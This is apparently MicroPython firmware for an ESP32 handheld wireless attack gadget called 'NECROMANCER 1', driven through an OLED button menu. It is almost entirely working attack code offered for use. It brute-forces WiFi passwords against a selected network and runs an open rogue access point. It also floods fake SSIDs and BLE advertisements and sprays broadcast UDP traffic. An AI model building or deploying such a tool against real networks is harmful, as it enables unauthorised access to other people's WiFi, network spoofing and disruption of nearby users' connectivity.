import network, time, random, ubinascii, machine
from machine import Pin, I2C
import ssd1306
import framebuf
import socket
CONNECTED_TO_WIFI = False
I2C_SCL = 5
I2C_SDA = 18
OLED_WIDTH = 128
OLED_HEIGHT = 64
BTN_UP = 0
BTN_DOWN = 2
BTN_SEL = 4
BTN_BACK = 16
if 0 == 0:
i2c = I2C(0, scl=Pin(I2C_SCL), sda=Pin(I2C_SDA))
oled = ssd1306.SSD1306_I2C(OLED_WIDTH, OLED_HEIGHT, i2c)
btn_up = Pin(BTN_UP, Pin.IN, Pin.PULL_UP)
btn_down = Pin(BTN_DOWN, Pin.IN, Pin.PULL_UP)
btn_sel = Pin(BTN_SEL, Pin.IN, Pin.PULL_UP)
btn_back = Pin(BTN_BACK, Pin.IN, Pin.PULL_UP)
def show_boot_wifi_icon():
global oled
boot_icon = bytearray([
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xe0,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x07, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x0f, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1f, 0xfc, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x1f, 0xfc, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3f, 0xfe, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07,
0xf8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x03, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xf8, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x01, 0x01, 0xf8, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0xf8, 0x60, 0x00,
0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x78, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x08, 0x78,
0x70, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x08, 0x38, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f,
0x0c, 0x18, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1f, 0x0e, 0x18, 0x7c, 0x00, 0x00, 0x00, 0x00,
0x00, 0x1f, 0x0f, 0x08, 0x7c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3f, 0x0f, 0x00, 0x7e, 0x00, 0x00,
0x00, 0x00, 0x00, 0x3f, 0x0f, 0x80, 0x7e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7f, 0xff, 0xc0, 0x7f,
0x00, 0x00, 0x00, 0x00, 0x00, 0x7f, 0xff, 0xc0, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7f, 0xff,
0xe0, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7f, 0xff, 0xf0, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00,
0x3f, 0xff, 0xf0, 0x7e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
])
fb = framebuf.FrameBuffer(boot_icon, 65, 65, framebuf.MONO_HLSB)
oled.blit(fb, (oled.width - 65)//2, (oled.height - 75)//2)
oled.fill(0)
oled.show()
show_boot_wifi_icon()
def splash_necromancer_slide(oled):
text = "NECROMANCER 1"
text_width = len(text)*8.5
x = OLED_WIDTH
while x > 0 - text_width:
x -= 1
oled.fill(0)
oled.text("=====================",0,0)
oled.text(text, x, 50)
oled.show()
time.sleep(0.01)
oled.fill(0)
show_boot_wifi_icon()
oled.text("============================================",0,0)
oled.text("NECROMANCER 1", x, 50)
oled.show()
time.sleep(1)
splash_necromancer_slide(oled)
class Menu:
def __init__(self, title, options):
self.title = title
self.options = options
self.index = 0
def draw(self):
oled.fill(0)
oled.text(self.title, 0, 0)
for i, option in enumerate(self.options):
prefix = ">" if i == self.index else " "
oled.text(f"{prefix}{option}", 0, 12 + i*10)
oled.show()
def move(self, direction):
self.index = (self.index + direction) % len(self.options)
self.draw()
def select(self):
return self.options[self.index]
class Hacks:
def __init__(self):
self.sta_if = network.WLAN(network.STA_IF)
self.ap_if = network.WLAN(network.AP_IF)
self.sta_if.active(False)
self.ap_if.active(False)
self.cancel = False
self.available_ssids = []
self.common_passwords = ["password", "12345678", "1234567890", "123456789", "qwerty", "admin", "11111111"]
try:
import ubluetooth
self.ubluetooth_available = True
except ImportError:
self.ubluetooth_available = False
def check_cancel(self):
if not btn_back.value():
self.cancel = True
return True
return False
def wifi_scan(self):
try:
self.cancel = False
self.available_ssids = []
self.ap_if.active(False)
self.sta_if.active(True)
time.sleep(0.2)
nets = self.sta_if.scan()
oled.fill(0)
oled.text("Scanning...", 0, 0)
oled.show()
time.sleep(1)
oled.fill(0)
oled.text("SSIDs found:", 0, 0)
y = 12
for ssid, bssid, ch, rssi, auth, hidden in nets[:5]:
if self.check_cancel(): return
ssid_name = ssid.decode()
self.available_ssids.append(ssid_name)
oled.text(f"{ssid_name} ({rssi}dBm)", 0, y)
y += 10
oled.show()
time.sleep(3)
except Exception as e:
oled.fill(0)
oled.text("Scan Error:", 0, 0)
oled.text(str(e), 0, 12)
oled.show()
time.sleep(3)
def rogue_ap(self, ssid="Personal_WiFi"):
self.cancel = False
self.sta_if.active(False)
self.ap_if.active(True)
self.ap_if.config(essid=ssid, authmode=0)
oled.fill(0)
oled.text("Rogue AP:", 0, 0)
oled.text(ssid, 0, 12)
oled.show()
while not self.check_cancel():
time.sleep(0.1)
def ssid_flood(self):
self.cancel = False
self.ap_if.active(True)
aps = 0
while not self.check_cancel():
rtxx = str(random.randint(100,999))
name = f"SSID_{rtxx}"
self.ap_if.config(essid=name)
aps += 1
oled.fill(0)
oled.text("SSID Flood", 0, 0)
oled.text(f"Name: {name}", 0, 12)
oled.text(f"APs made: {aps}", 0, 24)
oled.show()
time.sleep(0.5)
def wifi_bruteforce(self):
self.wifi_scan()
if not self.available_ssids:
oled.fill(0)
oled.text("No SSID Found", 0, 0)
oled.show()
time.sleep(2)
return
ssid_menu = Menu("Select SSID", self.available_ssids)
ssid_menu.draw()
while True:
if not btn_up.value():
ssid_menu.move(-1)
time.sleep(0.2)
if not btn_down.value():
ssid_menu.move(1)
time.sleep(0.2)
if not btn_sel.value():
target = ssid_menu.select()
self.bruteforce_on_ssid(target)
return
if not btn_back.value():
return
def bruteforce_on_ssid(self, target_ssid):
self.cancel = False
self.sta_if.active(True)
attempts = 0
passwords = self.common_passwords + ["".join(random.choice("1234567890!@#$%^*()qwertyiopasdfghjklzxcvbnmQWERTYIOPASDFGHJKLZXCVBNM-=[]\\;',./_+{}|:<>?`~") for _ in range(random.randint(8,10))) for _ in range(50)]
for pw in passwords:
if self.check_cancel():
oled.fill(0)
oled.text("Brute force canceled", 0, 0)
oled.show()
time.sleep(2)
return
oled.fill(0)
oled.text(f"Bruting {target_ssid}", 0, 0)
oled.text(f"P: {pw}", 0, 12)
oled.text(f"Attempts: {attempts}", 0, 24)
oled.show()
try:
self.sta_if.connect(target_ssid, pw)
timeout = time.ticks_ms() + 10000
while not self.sta_if.isconnected() and time.ticks_diff(timeout, time.ticks_ms()) > 0:
if self.check_cancel():
return
time.sleep(0.5)
if self.sta_if.isconnected():
oled.fill(0)
oled.text("Connected!", 0, 25)
oled.text(f"Pass: {pw}", 0, 35)
oled.show()
global CONNECTED_TO_WIFI
CONNECTED_TO_WIFI = True
time.sleep(2)
return
except Exception as e:
oled.fill(0)
oled.text("Error:", 0, 0)
oled.text(str(e), 0, 12)
oled.show()
time.sleep(2)
return
attempts += 1
oled.fill(0)
oled.text("Brute Force Done", 0, 0)
oled.text("Failed to connect", 0, 12)
oled.show()
time.sleep(3)
def ble_scan(self):
if not self.ubluetooth_available:
oled.fill(0)
oled.text("BLE not supported", 0, 0)
oled.show()
time.sleep(2)
return
import ubluetooth
self.cancel = False
bt = ubluetooth.BLE()
bt.active(True)
devices = []
def bt_irq(event, data):
nonlocal devices
if event == ubluetooth.IRQ_SCAN_RESULT:
addr_type, addr, adv_type, rssi, adv_data = data
devices.append((ubinascii.hexlify(addr).decode(), rssi))
bt.irq(bt_irq)
oled.fill(0)
oled.text("Scanning BLE...", 0, 0)
oled.show()
bt.gap_scan(3000)
t_end = time.ticks_ms() + 3000
while time.ticks_diff(t_end, time.ticks_ms()) > 0:
if self.check_cancel():
bt.gap_scan(None)
return
time.sleep(0.05)
oled.fill(0)
oled.text("BLE Devices:", 0, 0)
y = 12
for d, r in devices[:5]:
oled.text(d[-6:] + f" ({r})", 0, y)
y += 10
oled.show()
time.sleep(5)
def ble_flood(self):
if not self.ubluetooth_available:
oled.fill(0)
oled.text("BLE not supported", 0, 0)
oled.show()
time.sleep(2)
return
import ubluetooth
self.cancel = False
bt = ubluetooth.BLE()
bt.active(True)
count = 0
while not self.check_cancel():
name = f"RickRoll_{random.randint(100,999)}"
bt.config(gap_name=name)
bt.gap_advertise(100)
oled.fill(0)
oled.text("BLE Flood Active", 0, 0)
oled.text(f"Name: {name}", 0, 12)
oled.text(f"Packets: {count}", 0, 24)
oled.show()
count += 1
time.sleep(0.1)
def PortAP(self):
self.cancel = False
self.ap_if.active(False)
ap_name = f"AP32_{random.randint(100,999)}"
ap_pass = str(random.randint(10000000,999999999))
oled.fill(0)
oled.text("Creating AP...", 0, 0)
oled.show()
self.ap_if.config(essid=ap_name, password=ap_pass, authmode=network.AUTH_WPA_WPA2_PSK)
self.ap_if.active(True)
while not self.check_cancel():
oled.fill(0)
oled.text("Porta AP Active:", 0, 0)
oled.text(f"Name: {ap_name}", 0, 12)
oled.text(f"Pass: {ap_pass}", 0, 24)
oled.show()
time.sleep(1)
def spamUDP(self):
self.cancel = False
size = 0.0
try:
udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
broadcast_ip = '192.168.1.255'
port = 4210
oled.fill(0)
oled.text("UDP Flood", 0, 0)
oled.show()
while not self.check_cancel():
random_ip = f"{random.randint(1,254)}.{random.randint(0,254)}.{random.randint(0,254)}.{random.randint(0,254)}"
message = f"who has {random_ip}?" * 15
udp.sendto(message.encode(), (broadcast_ip, port))
payload_size = len(message.encode())
packet_size = payload_size + 8 + 20
size += packet_size / 1024
oled.fill(0)
oled.text("UDP Flood Active", 0, 0)
oled.text(f"Sent to: {random_ip}", 0, 12)
oled.text(f"Total: {round(size, 3)} kB", 0, 24)
oled.text(f"Total: {round(size/1024, 3)} mB", 0, 36)
oled.show()
time.sleep(0.1)
except Exception as e:
oled.fill(0)
oled.text("UDP Error:", 0, 0)
oled.text(str(e), 0, 12)
oled.show()
time.sleep(3)
hacks = Hacks()
main_menu = Menu("NECROMANCER\n", [
"WiFi Scan",
"SSID Flood",
"WiFi Brute",
"Porta AP",
"SPAM UDP",
"BLE Scan",
"BLE Flood",
"Exit"
])
main_menu.draw()
while True:
if not btn_up.value():
main_menu.move(-1)
time.sleep(0.3)
if not btn_down.value():
main_menu.move(1)
time.sleep(0.3)
if ( not btn_up.value() and not btn_down.value()):
time.sleep(1)
if not (btn_up.value() and btn_down.value()):
machine.reset()
if ( not btn_back.value() and not btn_sel.value()):
if not (btn_up.value() and btn_sel.value()):
machine.deepsleep()
if not btn_sel.value():
choice = main_menu.select()
if choice == "WiFi Scan":
hacks.wifi_scan()
elif choice == "SSID Flood":
hacks.ssid_flood()
elif choice == "WiFi Brute":
hacks.wifi_bruteforce()
elif choice == "Porta AP":
hacks.PortAP()
elif choice == "SPAM UDP":
hacks.spamUDP()
elif choice == "BLE Scan":
hacks.ble_scan()
elif choice == "BLE Flood":
hacks.ble_flood()
elif choice == "Exit":
oled.fill(0)
oled.text("Goodbye!", 0, 0)
oled.show()
time.sleep(2)
break
oled.fill(0)
main_menu.draw()
if not btn_back.value():
hacks.cancel = True
main_menu.draw()
time.sleep(0.2)
UP
back
select
down